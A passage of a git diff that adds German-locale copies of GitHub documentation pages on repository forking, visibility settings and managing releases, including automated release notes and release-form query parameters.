+ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: '145132118'
+---
+Ein Organisationsinhaber muss Forks von privaten{% ifversion ghae or ghes or ghec %} und internen{% endif %} Repositorys auf der Organisationsebene erlauben, bevor du Forks für ein bestimmtes Repository erlauben oder verbieten kannst. Weitere Informationen findest du unter "[Verwalten der Forking-Richtlinie für deine Organisation](/organizations/managing-organization-settings/managing-the-forking-policy-for-your-organization)".
+
+{% data reusables.repositories.navigate-to-repo %} {% data reusables.repositories.sidebar-settings %}
+3. Wähle unter "Features" (Funktionen) die Option **Allow forking** (Forking zulassen) aus.
+  ![Kontrollkästchen zum Zulassen oder Verbieten von Forking eines privaten Repositorys](/assets/images/help/repository/allow-forking-specific-org-repo.png)
+
+## Weitere Informationsquellen
+
+- [Informationen zu Forks](/pull-requests/collaborating-with-pull-requests/working-with-forks/about-forks)
+- [Repositoryrollen für eine Organisation](/organizations/managing-access-to-your-organizations-repositories/repository-roles-for-an-organization)
diff --git a/translations/de-DE/content/repositories/managing-your-repositorys-settings-and-features/managing-repository-settings/setting-repository-visibility.md b/translations/de-DE/content/repositories/managing-your-repositorys-settings-and-features/managing-repository-settings/setting-repository-visibility.md
new file mode 100644
index 0000000000..9d2e1efb2c
--- /dev/null
+++ b/translations/de-DE/content/repositories/managing-your-repositorys-settings-and-features/managing-repository-settings/setting-repository-visibility.md
@@ -0,0 +1,104 @@
+---
+title: Setting repository visibility
+intro: You can choose who can view your repository.
+redirect_from:
+  - /articles/making-a-private-repository-public
+  - /articles/making-a-public-repository-private
+  - /articles/converting-a-public-repo-to-a-private-repo
+  - /articles/setting-repository-visibility
+  - /github/administering-a-repository/setting-repository-visibility
+  - /github/administering-a-repository/managing-repository-settings/setting-repository-visibility
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+topics:
+  - Repositories
+shortTitle: Repository visibility
+---
+## About repository visibility changes
+
+Organization owners can restrict the ability to change repository visibility to organization owners only. For more information, see "[Restricting repository visibility changes in your organization](/organizations/managing-organization-settings/restricting-repository-visibility-changes-in-your-organization)."
+
+{% ifversion ghec %}
+
+Members of an {% data variables.enterprise.prodname_emu_enterprise %} can only set the visibility of repositories owned by their personal account to private, and repositories in their enterprise's organizations can only be private or internal. For more information, see "[About {% data variables.product.prodname_emus %}](/admin/authentication/managing-your-enterprise-users-with-your-identity-provider/about-enterprise-managed-users)."
+
+{% endif %}
+
+We recommend reviewing the following caveats before you change the visibility of a repository.
+
+{% ifversion ghes or ghae %}
+
+{% warning %}
+
+**Warning:** Changes to the visibility of a large repository or repository network may affect data integrity. Visibility changes can also have unintended effects on forks. {% data variables.product.company_short %} recommends the following before changing the visibility of a repository network.
+
+- Wait for a period of reduced activity on {% data variables.location.product_location %}.
+
+- Contact your {% ifversion ghes %}site administrator{% elsif ghae %}enterprise owner{% endif %} before proceeding. Your {% ifversion ghes %}site administrator{% elsif ghae %}enterprise owner{% endif %} can contact {% data variables.contact.contact_ent_support %} for further guidance.
+
+{% endwarning %}
+
+{% endif %}
+
+### Making a repository private
+{% ifversion fpt or ghes or ghec %}
+* {% data variables.product.product_name %} will detach public forks of the public repository and put them into a new network. Public forks are not made private.{% endif %}
+{%- ifversion ghes or ghec or ghae %}
+* If you change a repository's visibility from internal to private, {% data variables.product.prodname_dotcom %} will remove forks that belong to any user without access to the newly private repository. {% ifversion fpt or ghes or ghec %}The visibility of any forks will also change to private.{% elsif ghae %}If the internal repository has any forks, the visibility of the forks is already private.{% endif %} For more information, see "[What happens to forks when a repository is deleted or changes visibility?](/articles/what-happens-to-forks-when-a-repository-is-deleted-or-changes-visibility)"
+{%- endif %}
+
+{%- ifversion fpt %}
+* If you're using {% data variables.product.prodname_free_user %} for personal accounts or organizations, some features won't be available in the repository after you change the visibility to private. Any published {% data variables.product.prodname_pages %} site will be automatically unpublished. If you added a custom domain to the {% data variables.product.prodname_pages %} site, you should remove or update your DNS records before making the repository private, to avoid the risk of a domain takeover. For more information, see "[{% data variables.product.company_short %}'s products](/get-started/learning-about-github/githubs-products) and "[Managing a custom domain for your {% data variables.product.prodname_pages %} site](/articles/managing-a-custom-domain-for-your-github-pages-site)."
+{%- endif %}
+
+{%- ifversion fpt or ghec %}
+* {% data variables.product.prodname_dotcom %} will no longer include the repository in the {% data variables.product.prodname_archive %}. For more information, see "[About archiving content and data on {% data variables.product.prodname_dotcom %}](/github/creating-cloning-and-archiving-repositories/about-archiving-content-and-data-on-github#about-the-github-archive-program)."
+* {% data variables.product.prodname_GH_advanced_security %} features, such as {% data variables.product.prodname_code_scanning %}, will stop working{% ifversion ghec %} unless the repository is owned by an organization that is part of an enterprise with a license for {% data variables.product.prodname_advanced_security %} and sufficient spare seats{% endif %}. {% data reusables.advanced-security.more-info-ghas %}
+{%- endif %}
+
+{%- ifversion ghes %}
+* Anonymous Git read access is no longer available. For more information, see "[Enabling anonymous Git read access for a repository](/enterprise/user/articles/enabling-anonymous-git-read-access-for-a-repository)."
+{%- endif %}
+
+{% ifversion ghes or ghec or ghae %}
+
+### Making a repository internal
+
+* Any forks of the repository will remain in the repository network, and {% data variables.product.product_name %} maintains the relationship between the root repository and the fork. For more information, see "[What happens to forks when a repository is deleted or changes visibility?](/articles/what-happens-to-forks-when-a-repository-is-deleted-or-changes-visibility)"
+
+{% endif %}
+
+{% ifversion fpt or ghes or ghec %}
+
+### Making a repository public
+
+* {% data variables.product.product_name %} will detach private forks and turn them into a standalone private repository. For more information, see "[What happens to forks when a repository is deleted or changes visibility?](/articles/what-happens-to-forks-when-a-repository-is-deleted-or-changes-visibility#changing-a-private-repository-to-a-public-repository)"{% ifversion fpt or ghec %}
+* If you're converting your private repository to a public repository as part of a move toward creating an open source project, see the [Open Source Guides](http://opensource.guide) for helpful tips and guidelines. You can also take a free course on managing an open source project with [{% data variables.product.prodname_learning %}]({% data variables.product.prodname_learning_link %}). Once your repository is public, you can also view your repository's community profile to see whether your project meets best practices for supporting contributors. For more information, see "[Viewing your community profile](/articles/viewing-your-community-profile)."
+* The repository will automatically gain access to {% data variables.product.prodname_GH_advanced_security %} features.
+
+For information about improving repository security, see "[Securing your repository](/code-security/getting-started/securing-your-repository)."{% endif %}
+
+{% endif %}
+
+## Changing a repository's visibility
+
+{% data reusables.repositories.navigate-to-repo %}
+{% data reusables.repositories.sidebar-settings %}
+3. Under "Danger Zone", to the right of to "Change repository visibility", click **Change visibility**.
+   ![Change visibility button](/assets/images/help/repository/repo-change-vis.png)
+4. Select a visibility.
+{% ifversion fpt or ghec %}
+   ![Dialog of options for repository visibility](/assets/images/help/repository/repo-change-select.png){% else %}
+   ![Dialog of options for repository visibility](/assets/images/enterprise/repos/repo-change-select.png){% endif %}
+5. To verify that you're changing the correct repository's visibility, type the name of the repository you want to change the visibility of.
+6. Click **I understand, change repository visibility**.
+{% ifversion fpt or ghec %}
+   ![Confirm change of repository visibility button](/assets/images/help/repository/repo-change-confirm.png){% else %}
+   ![Confirm change of repository visibility button](/assets/images/enterprise/repos/repo-change-confirm.png){% endif %}
+
+
+## Further reading
+- "[About repositories](/repositories/creating-and-managing-repositories/about-repositories#about-repository-visibility)"
diff --git a/translations/de-DE/content/repositories/releasing-projects-on-github/about-releases.md b/translations/de-DE/content/repositories/releasing-projects-on-github/about-releases.md
new file mode 100644
index 0000000000..c3edbf5ec0
--- /dev/null
+++ b/translations/de-DE/content/repositories/releasing-projects-on-github/about-releases.md
@@ -0,0 +1,59 @@
+---
+title: About releases
+intro: 'You can create a release to package software, along with release notes and links to binary files, for other people to use.'
+redirect_from:
+  - /articles/downloading-files-from-the-command-line
+  - /articles/downloading-files-with-curl
+  - /articles/about-releases
+  - /articles/getting-the-download-count-for-your-releases
+  - /github/administering-a-repository/getting-the-download-count-for-your-releases
+  - /github/administering-a-repository/about-releases
+  - /github/administering-a-repository/releasing-projects-on-github/about-releases
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+topics:
+  - Repositories
+---
+## About releases
+
+{% ifversion fpt or ghec or ghes > 3.3 or ghae > 3.3 %}
+![An overview of releases](/assets/images/help/releases/refreshed-releases-overview-with-contributors.png)
+{% else %}
+![An overview of releases](/assets/images/help/releases/releases-overview.png)
+{% endif %}
+
+Releases are deployable software iterations you can package and make available for a wider audience to download and use.
+
+Releases are based on [Git tags](https://git-scm.com/book/en/Git-Basics-Tagging), which mark a specific point in your repository's history. A tag date may be different than a release date since they can be created at different times. For more information about viewing your existing tags, see "[Viewing your repository's releases and tags](/github/administering-a-repository/viewing-your-repositorys-releases-and-tags)."
+
+You can receive notifications when new releases are published in a repository without receiving notifications about other updates to the repository. For more information, see "[Viewing your subscriptions](/github/managing-subscriptions-and-notifications-on-github/viewing-your-subscriptions)."
+
+Anyone with read access to a repository can view and compare releases, but only people with write permissions to a repository can manage releases. For more information, see "[Managing releases in a repository](/github/administering-a-repository/managing-releases-in-a-repository)."
+
+{% ifversion fpt or ghec or ghes > 3.3 or ghae > 3.3 %}
+You can manually create release notes while managing a release. Alternatively, you can automatically generate release notes from a default template, or customize your own release notes template. For more information, see "[Automatically generated release notes](/repositories/releasing-projects-on-github/automatically-generated-release-notes)."
+{% endif %}
+
+{% ifversion fpt or ghec or ghes > 3.5 or ghae > 3.6 %}
+When viewing the details for a release, the creation date for each release asset is shown next to the release asset.
+{% endif %}
+
+{% ifversion fpt or ghec %}
+People with admin permissions to a repository can choose whether {% data variables.large_files.product_name_long %} ({% data variables.large_files.product_name_short %}) objects are included in the ZIP files and tarballs that {% data variables.product.product_name %} creates for each release. For more information, see "[Managing {% data variables.large_files.product_name_short %} objects in archives of your repository](/repositories/managing-your-repositorys-settings-and-features/managing-repository-settings/managing-git-lfs-objects-in-archives-of-your-repository)."
+
+If a release fixes a security vulnerability, you should publish a security advisory in your repository. {% data variables.product.prodname_dotcom %} reviews each published security advisory and may use it to send {% data variables.product.prodname_dependabot_alerts %} to affected repositories. For more information, see "[About GitHub Security Advisories](/github/managing-security-vulnerabilities/about-github-security-advisories)."
+
+You can view the **Dependents** tab of the dependency graph to see which repositories and packages depend on code in your repository, and may therefore be affected by a new release. For more information, see "[About the dependency graph](/github/visualizing-repository-data-with-graphs/about-the-dependency-graph)."
+{% endif %}
+
+You can also use the Releases API to gather information, such as the number of times people download a release asset. For more information, see "[Releases](/rest/reference/releases)."
+
+{% ifversion fpt or ghec %}
+## Storage and bandwidth quotas
+
+ Each file included in a release must be under {% data variables.large_files.max_file_size %}. There is no limit on the total size of a release, nor bandwidth usage.
+
+{% endif %}
diff --git a/translations/de-DE/content/repositories/releasing-projects-on-github/automatically-generated-release-notes.md b/translations/de-DE/content/repositories/releasing-projects-on-github/automatically-generated-release-notes.md
new file mode 100644
index 0000000000..b53e82c01c
--- /dev/null
+++ b/translations/de-DE/content/repositories/releasing-projects-on-github/automatically-generated-release-notes.md
@@ -0,0 +1,99 @@
+---
+title: Automatisch generierte Versionshinweise
+intro: Du kannst Versionshinweise für deine GitHub-Versionen automatisch generieren.
+permissions: Repository collaborators and people with write access to a repository can generate and customize automated release notes for a release.
+versions:
+  fpt: '*'
+  ghec: '*'
+  ghes: '>3.3'
+  ghae: '>= 3.4'
+topics:
+  - Repositories
+shortTitle: Automated release notes
+communityRedirect:
+  name: Provide GitHub Feedback
+  href: 'https://github.com/orgs/community/discussions/categories/general'
+ms.openlocfilehash: a4adfa306873ef172950666756add7d0e67e168d
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: '147432016'
+---
+## Informationen zu automatisch generierten Versionshinweisen
+
+Automatisch generierte Versionshinweise bieten eine automatisierte Alternative zum manuellen Schreiben von Versionshinweisen für deine {% data variables.product.prodname_dotcom %}-Releases. Mit automatisch generierten Versionshinweisen kannst du schnell einen Überblick über den Inhalt einer Version erstellen. Automatisch generierte Versionshinweise umfassen eine Liste der zusammengeführten Pull Requests, eine Liste der Mitwirkenden an der Version und einen Link zu einem vollständigen Änderungsprotokoll.
+
+Du kannst auch deine automatisierten Versionshinweise anpassen, indem du Beschriftungen verwendest, um benutzerdefinierte Kategorien zu erstellen, um Pull Requests zu strukturieren, die du einschließen möchtest, und um bestimmte Bezeichnungen und Benutzer*innen aus der Ausgabe auszuschließen.
+
+## Erstellen von automatisch generierten Versionshinweisen für ein neues Release
+
+{% data reusables.repositories.navigate-to-repo %} {% data reusables.repositories.releases %}
+3. Klicke auf **Neues Release entwerfen**.
+   ![Schaltfläche für Release-Entwurf](/assets/images/help/releases/draft_release_button.png)
+4. {% ifversion fpt or ghec %}Klicke auf **Tag auswählen** und gib{% else %}Geben{% endif %} eine Versionsnummer für dein Release ein. Alternativ kannst du ein vorhandenes Tag auswählen.
+  {% ifversion fpt or ghec %} ![Eingeben eines Tags](/assets/images/help/releases/releases-tag-create.png)
+5. Wenn du ein neues Tag erstellst, klicke auf **Neues Tag erstellen**.
+![Bestätigen, dass ein neues Tag erstellt werden soll](/assets/images/help/releases/releases-tag-create-confirm.png) {% else %} ![Tags des Releases](/assets/images/enterprise/releases/releases-tag-version.png) {% endif %}
+6. Wenn du ein neues Tag erstellt hast, verwende das Dropdownmenü, um den Branch auszuwählen, der das zu veröffentlichende Projekt enthält.
+  {% ifversion fpt or ghec %}![Branch auswählen](/assets/images/help/releases/releases-choose-branch.png) {% else %}![Tag-Branch für Releases](/assets/images/enterprise/releases/releases-tag-branch.png) {% endif %} {%- data reusables.releases.previous-release-tag %}
+7. Klicke rechts neben dem Beschreibungstextfeld auf {% ifversion previous-release-tag %}**Versionshinweise generieren**{% else %}**Versionshinweise automatisch generieren**{% endif %}.{% ifversion previous-release-tag %} ![Versionshinweise generieren](/assets/images/help/releases/generate-release-notes.png){% else %} ![Versionshinweise automatisch generieren](/assets/images/enterprise/3.5/releases/auto-generate-release-notes.png){% endif %}
+8. Überprüfe die generierten Notizen, um sicherzustellen, dass sie alle (und nur) die Informationen enthalten, die du einschließen möchtest.
+9. Um optional binäre Dateien wie kompilierte Programme in deinen Release einzubinden, ziehe die Dateien mit Drag-and-Drop herüber oder wähle die Dateien manuell im Feld für Binärdateien.
+   ![Bereitstellen einer DMG mit einem Release](/assets/images/help/releases/releases_adding_binary.gif)
+10. Um Benutzer*innen darüber zu informieren, dass das Release nicht produktionsbereit und möglicherweise instabil ist, wähle **Dies ist eine Vorabversion** aus.
+   ![Kontrollkästchen zum Markieren eines Releases als Vorabversion](/assets/images/help/releases/prerelease_checkbox.png) {%- ifversion fpt or ghec %}
+11. Wähle optional **Diskussion für diesen Release erstellen** aus, und wähle dann das Dropdownmenü **Kategorie** aus. Dann klicke auf eine Kategorie für die Releasediskussion.
+  ![Kontrollkästchen zum Erstellen einer Releasediskussion und ein Dropdownmenü zum Auswählen einer Kategorie](/assets/images/help/releases/create-release-discussion.png) {%- endif %}
+12. Wenn du dein Release veröffentlichen möchtest, klicke auf **Release veröffentlichen**. Wenn du später an dem Release arbeiten möchtest, klicke auf **Entwurf speichern**.
+   ![Die Schaltflächen „Release veröffentlichen“ und „Entwurf speichern“](/assets/images/help/releases/release_buttons.png)
+
+
+## Konfigurieren von automatisch generierten Versionshinweisen
+
+{% data reusables.repositories.navigate-to-repo %} {% data reusables.files.add-file %}
+3. Gib `.github/release.yml` im Dateinamenfeld ein, um die Datei `release.yml` im Verzeichnis `.github` zu erstellen.
+  ![Erstellen einer neuen Datei](/assets/images/help/releases/release-yml.png)
+4. Gib in der Datei mithilfe der nachstehenden Konfigurationsoptionen in YAML die Pull-Request-Bezeichnungen und Autoren an, die du aus diesem Release ausschließen möchtest. Du kannst auch neue Kategorien erstellen und die Pull-Request-Bezeichnungen auflisten, die in jede dieser Kategorien einbezogen werden sollen.
+
+### Konfigurationsoptionen
+
+| Parameter | BESCHREIBUNG |
+| :- | :- |
+| `changelog.exclude.labels` | Eine Liste von Bezeichnungen, die ausschließen, dass ein Pull Request in den Versionshinweisen angezeigt wird. |
+| `changelog.exclude.authors` | Eine Liste der Benutzer*innen- oder Bot-Anmeldehhandles, deren Pull Requests aus Versionshinweisen ausgeschlossen werden sollen. |
+| `changelog.categories[*].title` | **Erforderlich.** Der Titel einer Kategorie von Änderungen in Versionshinweisen. |
+| `changelog.categories[*].labels`| **Erforderlich.** Bezeichnungen, die einen Pull Request für diese Kategorie qualifizieren. Verwende `*` als Catch-All für Pull Requests, die keinen der vorherigen Kategorien entsprechen. |
+| `changelog.categories[*].exclude.labels` | Eine Liste der Bezeichnungen, die eine Pull Request ausschließen, die in dieser Kategorie angezeigt wird. |
+| `changelog.categories[*].exclude.authors` | Eine Liste der Benutzer*innen- oder Bot-Anmeldehhandles, deren Pull Requests aus dieser Kategorie ausgeschlossen werden sollen. |
+
+### Beispielkonfiguration
+
+{% raw %}
+```yaml{:copy}
+# .github/release.yml
+
+changelog:
+  exclude:
+    labels:
+      - ignore-for-release
+    authors:
+      - octocat
+  categories:
+    - title: Breaking Changes 🛠
+      labels:
+        - Semver-Major
+        - breaking-change
+    - title: Exciting New Features 🎉
+      labels:
+        - Semver-Minor
+        - enhancement
+    - title: Other Changes
+      labels:
+        - "*"
+```
+{% endraw %}
+
+## Weiterführende Themen
+
+- [Verwalten von Bezeichnungen](/issues/using-labels-and-milestones-to-track-work/managing-labels) 
diff --git a/translations/de-DE/content/repositories/releasing-projects-on-github/automation-for-release-forms-with-query-parameters.md b/translations/de-DE/content/repositories/releasing-projects-on-github/automation-for-release-forms-with-query-parameters.md
new file mode 100644
index 0000000000..210579643b
--- /dev/null
+++ b/translations/de-DE/content/repositories/releasing-projects-on-github/automation-for-release-forms-with-query-parameters.md
@@ -0,0 +1,42 @@
+---
+title: Automatisierung für Releaseformulare mit Abfrageparametern
+intro: 'Du kannst Releases schnell erstellen, wenn du das neue Releaseformular automatisch mit angepassten Informationen ausfüllen lässt. Füge dazu Abfrageparameter zur URL der Formularseite hinzu.'
+redirect_from:
+  - /articles/automation-for-release-forms-with-query-parameters
+  - /github/administering-a-repository/automation-for-release-forms-with-query-parameters
+  - /github/administering-a-repository/releasing-projects-on-github/automation-for-release-forms-with-query-parameters
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+topics:
+  - Repositories
+shortTitle: Automate release forms
+ms.openlocfilehash: 75c7fe4b79a6103060151742f1277861f23785c4
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: '145193563'
+---
+Abfrageparameter sind optionale Bestandteile einer URL, die du anpassen kannst, um eine bestimmte Ansicht einer Webseite weiterzugeben, z. B. gefilterte Suchergebnisse, eine Issue-Vorlage oder die Seite mit dem Veröffentlichungsformular auf {% data variables.product.prodname_dotcom %}. Um eigene Abfrageparameter zu erstellen, musst du Schlüssel- und Wertepaar abgleichen.
+
+Du musst die erforderlichen Berechtigungen für jede Aktion haben, um den entsprechenden Abfrageparameter zu verwenden. Du benötigst beispielsweise die Berechtigung zum Erstellen von Releases, um das Releaseformular vorab auszufüllen. Weitere Informationen findest du unter [Verwalten von Releases in einem Repository](/github/administering-a-repository/managing-releases-in-a-repository).
+
+Wenn du mithilfe von Suchparametern eine ungültige URL erstellst oder nicht über die erforderlichen Berechtigungen verfügst, gibt die URL eine 404-Fehlerseite zurück.  
+
+## Unterstützte Abfrageparameter
+
+Query parameter (Abfrageparameter) | Beispiel
+---  | ---
+`tag` | `https://github.com/octo-org/octo-repo/releases/new?tag=v1.0.1` erstellt ein Release basierend auf einem Tag namens „v1.0.1“.
+`target` | `https://github.com/octo-org/octo-repo/releases/new?target=release-1.0.1` erstellt ein Release basierend auf dem neuesten Commit für den Branch „release-1.0.1“.
+`title` | `https://github.com/octo-org/octo-repo/releases/new?tag=v1.0.1&title=octo-1.0.1` erstellt ein Release namens „octo-1.0.1“ basierend auf einem Tag namens „v1.0.1“.
+`body` | `https://github.com/octo-org/octo-repo/releases/new?body=Adds+widgets+support` erstellt ein Release mit der Beschreibung „Adds widget support“ (Widgetunterstützung hinzugefügt) im Releasetext.
+`prerelease` | `https://github.com/octo-org/octo-repo/releases/new?prerelease=1` erstellt ein Release, das als nicht produktionsfähig gekennzeichnet ist.
+
+## Weitere Informationsquellen
+
+- [Erstellen eines Issues aus einer URL-Abfrage](/issues/tracking-your-work-with-issues/creating-an-issue#creating-an-issue-from-a-url-query)
+- [Verwenden von Abfrageparametern zum Erstellen eines Pull Requests](/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/using-query-parameters-to-create-a-pull-request/)
diff --git a/translations/de-DE/content/repositories/releasing-projects-on-github/comparing-releases.md b/translations/de-DE/content/repositories/releasing-projects-on-github/comparing-releases.md
new file mode 100644
index 0000000000..c5d73399f6
--- /dev/null
+++ b/translations/de-DE/content/repositories/releasing-projects-on-github/comparing-releases.md
@@ -0,0 +1,29 @@
+---
+title: Comparing releases
+intro: You can compare release tags to see changes to your repository between different releases.
+permissions: People with read access to a repository can view and compare releases.
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+topics:
+  - Repositories
+redirect_from:
+  - /github/administering-a-repository/comparing-releases
+  - /github/administering-a-repository/releasing-projects-on-github/comparing-releases
+---
+{% data reusables.repositories.navigate-to-repo %}
+{% data reusables.repositories.releases %}
+3. Next to the release you want to use as your base, click **Compare**.
+  {% ifversion fpt or ghec or ghes > 3.4 or ghae > 3.3 %}
+  ![Compare release tags menu](/assets/images/help/releases/refreshed-compare-tags.png)
+  {% else %}
+  ![Compare release tags menu](/assets/images/help/releases/compare-tags-menu.png)
+  {% endif %}
+4. Use the "Compare" drop-down menu and select the tags you want to compare.
+  {% ifversion fpt or ghec or ghes > 3.4 or ghae > 3.3 %}
+  ![Compare release tags menu](/assets/images/help/releases/refreshed-compare-tags-menu-options.png)
+  {% else %}
+  ![Compare release tags menu options](/assets/images/help/releases/compare-tags-menu-options.png)
+  {% endif %}
diff --git a/translations/de-DE/content/repositories/releasing-projects-on-github/index.md b/translations/de-DE/content/repositories/releasing-projects-on-github/index.md
new file mode 100644
index 0000000000..86527a80e4
--- /dev/null
+++ b/translations/de-DE/content/repositories/releasing-projects-on-github/index.md
@@ -0,0 +1,32 @@
+---
+title: Projekte auf GitHub freigeben
+intro: 'Du kannst einen Release erstellen, um Software, Release-Hinweise und binäre Dateien für andere Personen zum Herunterladen zu paketieren.'
+redirect_from:
+  - /categories/85/articles
+  - /categories/releases
+  - /github/administering-a-repository/releasing-projects-on-github
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+topics:
+  - Repositories
+children:
+  - /about-releases
+  - /managing-releases-in-a-repository
+  - /viewing-your-repositorys-releases-and-tags
+  - /searching-a-repositorys-releases
+  - /linking-to-releases
+  - /comparing-releases
+  - /automatically-generated-release-notes
+  - /automation-for-release-forms-with-query-parameters
+shortTitle: Release projects
+ms.openlocfilehash: c55fa32c2b865d79b397a9d66c84273793300dcb
+ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: '145132094'
+---
+
diff --git a/translations/de-DE/content/repositories/releasing-projects-on-github/linking-to-releases.md b/translations/de-DE/content/repositories/releasing-projects-on-github/linking-to-releases.md
new file mode 100644
index 0000000000..f2c870b63b
--- /dev/null
+++ b/translations/de-DE/content/repositories/releasing-projects-on-github/linking-to-releases.md
@@ -0,0 +1,30 @@
+---
+title: Linking to releases
+intro: You can share every release you create on GitHub with a unique URL.
+redirect_from:
+  - /articles/linking-to-releases
+  - /github/administering-a-repository/linking-to-releases
+  - /github/administering-a-repository/releasing-projects-on-github/linking-to-releases
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+topics:
+  - Repositories
+---
+{% data reusables.repositories.navigate-to-repo %}
+{% data reusables.repositories.releases %}
+3. To copy a unique URL to your clipboard, find the release you want to link to, right click the title, and copy the URL.
+{% ifversion fpt or ghec or ghes > 3.4 or ghae > 3.3 %}
+  ![Release title](/assets/images/help/releases/release-title.png)
+{% else %}
+  ![Release title](/assets/images/help/releases/release-title-old.png)
+{% endif %}
+1. Alternatively, right click **Latest Release** and copy the URL to share it. The suffix of this URL is always `/releases/latest`.
+   {% ifversion fpt or ghec or ghes > 3.4 or ghae > 3.3 %}
+   ![Compare release tags menu](/assets/images/help/releases/refreshed-release-latest.png)
+   {% else %}
+   ![Latest release tag](/assets/images/help/releases/release_latest_release_tag.png)
+   {% endif %}
+To link directly to a download of your latest release asset that was manually uploaded, link to `/owner/name/releases/latest/download/asset-name.zip`.
diff --git a/translations/de-DE/content/repositories/releasing-projects-on-github/managing-releases-in-a-repository.md b/translations/de-DE/content/repositories/releasing-projects-on-github/managing-releases-in-a-repository.md
new file mode 100644
index 0000000000..832a7ae04f
--- /dev/null
+++ b/translations/de-DE/content/repositories/releasing-projects-on-github/managing-releases-in-a-repository.md
@@ -0,0 +1,175 @@
+---
+title: Managing releases in a repository
+intro: You can create releases to bundle and deliver iterations of a project to users.
+redirect_from:
+  - /articles/creating-releases
+  - /articles/listing-and-editing-releases
+  - /articles/editing-and-deleting-releases
+  - /articles/managing-releases-in-a-repository
+  - /github/administering-a-repository/creating-releases
+  - /github/administering-a-repository/editing-and-deleting-releases
+  - /github/administering-a-repository/managing-releases-in-a-repository
+  - /github/administering-a-repository/releasing-projects-on-github/managing-releases-in-a-repository
+permissions: 'Repository collaborators and people with write access to a repository can create, edit, and delete a release.'
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+topics:
+  - Repositories
+shortTitle: Manage releases
+---
+## About release management
+
+You can create new releases with release notes, @mentions of contributors, and links to binary files, as well as edit or delete existing releases. You can also create, modify, and delete releases by using the Releases API. For more information, see "[Releases](/rest/releases/releases)" in the REST API documentation.
+
+{% ifversion fpt or ghec %}
+You can also publish an action from a specific release in {% data variables.product.prodname_marketplace %}. For more information, see "[Publishing an action in the {% data variables.product.prodname_marketplace %}](/actions/creating-actions/publishing-actions-in-github-marketplace)."
+
+You can choose whether {% data variables.large_files.product_name_long %} ({% data variables.large_files.product_name_short %}) objects are included in the ZIP files and tarballs that {% data variables.product.product_name %} creates for each release. For more information, see "[Managing {% data variables.large_files.product_name_short %} objects in archives of your repository](/github/administering-a-repository/managing-git-lfs-objects-in-archives-of-your-repository)."
+{% endif %}
+
+## Creating a release
+
+{% webui %}
+
+{% data reusables.repositories.navigate-to-repo %}
+{% data reusables.repositories.releases %}
+1. Click **Draft a new release**.
+
+   {% ifversion fpt or ghec or ghes > 3.4 or ghae > 3.4 %}![Releases draft button](/assets/images/help/releases/draft-release-button-with-search.png){% else %}![Releases draft button](/assets/images/help/releases/draft_release_button.png){% endif %}
+1. Click **Choose a tag**, type a version number for your release, and press **Enter**. Alternatively, select an existing tag.
+
+   ![Enter a tag](/assets/images/help/releases/releases-tag-create.png)
+1. If you are creating a new tag, click **Create new tag**.
+
+   ![Screenshot of confirming you want to create a new tag](/assets/images/help/releases/releases-tag-create-confirm.png)
+   
+1. If you have created a new tag, use the drop-down menu to select the branch that contains the project you want to release.
+
+   
+   ![Screenshot of dropdown to choose a branch](/assets/images/help/releases/releases-choose-branch.png)
+
+   
+
+{%- data reusables.releases.previous-release-tag %}
+1. Type a title and description for your release.
+   {%- ifversion fpt or ghec or ghes > 3.3 or ghae > 3.3 %}
+   If you @mention anyone in the description, the published release will include a **Contributors** section with an avatar list of all the mentioned users.
+   {%- endif %}
+   {% ifversion fpt or ghec or ghes > 3.3 %} Alternatively, you can automatically generate your release notes by clicking {% ifversion previous-release-tag %}**Generate release notes**{% else %}**Auto-generate release notes**{% endif %}.{% endif %}{% ifversion previous-release-tag %}
+
+   ![Screenshot of the releases description](/assets/images/help/releases/releases_description_auto.png){% else %}
+
+   ![Screenshot of the releases description](/assets/images/enterprise/3.5/releases/releases_description_auto.png){% endif %}
+
+1. Optionally, to include binary files such as compiled programs in your release, drag and drop or manually select files in the binaries box.
+
+   ![Animated GIF of Providing a DMG with the Release](/assets/images/help/releases/releases_adding_binary.gif)
+
+1. To notify users that the release is not ready for production and may be unstable, select **This is a pre-release**.
+
+   ![Screenshot of the checkbox to mark a release as prerelease](/assets/images/help/releases/prerelease_checkbox.png)
+
+{%- ifversion releases-set-latest-release %} 
+1. Optionally, you can select **Set as latest release**. If you do not select this option, the latest release label will automatically be assigned based on semantic versioning.
+
+   ![Screenshot of the checkbox to mark a release as the latest release](/assets/images/help/releases/latest-release-checkbox.png)
+
+{%- endif %}  
+{%- ifversion discussions %}
+1. Optionally, if {% data variables.product.prodname_discussions %} are enabled in the repository, select **Create a discussion for this release**, then select the **Category** drop-down menu and click a category for the release discussion.
+
+   ![Screenshot of the checkbox to create a release discussion and drop-down menu to choose a category](/assets/images/help/releases/create-release-discussion.png)
+
+{%- endif %}
+1. If you're ready to publicize your release, click **Publish release**. To work on the release later, click **Save draft**.
+   ![Publish release and Draft release buttons](/assets/images/help/releases/release_buttons.png)
+
+   {%- ifversion fpt or ghec or ghae > 3.3 %}
+   You can then view your published or draft releases in the releases feed for your repository. For more information, see "[Screenshot of your repository's releases and tags](/github/administering-a-repository/releasing-projects-on-github/viewing-your-repositorys-releases-and-tags)."
+
+   {% ifversion fpt or ghec or ghes > 3.4 or ghae > 3.3 %}
